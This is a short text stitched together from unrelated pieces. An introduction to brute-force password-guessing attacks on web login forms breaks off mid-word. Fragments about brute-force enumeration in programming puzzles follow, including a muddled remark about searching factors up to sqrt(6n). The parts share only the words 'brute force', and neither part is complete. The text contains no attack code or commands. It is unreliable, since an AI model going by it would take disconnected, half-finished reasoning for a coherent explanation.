The first thing to declare is that this article is purely an ignorant view of a little developer without foresight and knowledge, and is intended only for reference in Web system security.1. Brief descriptionIn siege, the gate is always the easiest place to be breached.The openness of the login feature allows countless attackers to attempt to guess the user name and password to gain unauthorized access to the system.This kind of attack is almost ubiquitous, there are systematic attacks, there ar

You can enumerate all the start and end points in a brute force manner. I thought too much about this question, but I did not expect the simplest starting point of the violent enumeration...

Simple brute-force enumeration, but it took me so long, it can be seen that my basic skills are not solid enough. If the multiplication of two numbers equals to a number of 6 * n, I can enumerate one of them, and enumerate to SQRT (6 * n, this is a very common nature of brute force solutions. Find the smallest one in A and B, and start enumeration until the ascending order of SQRT (6 * n. In this way, there
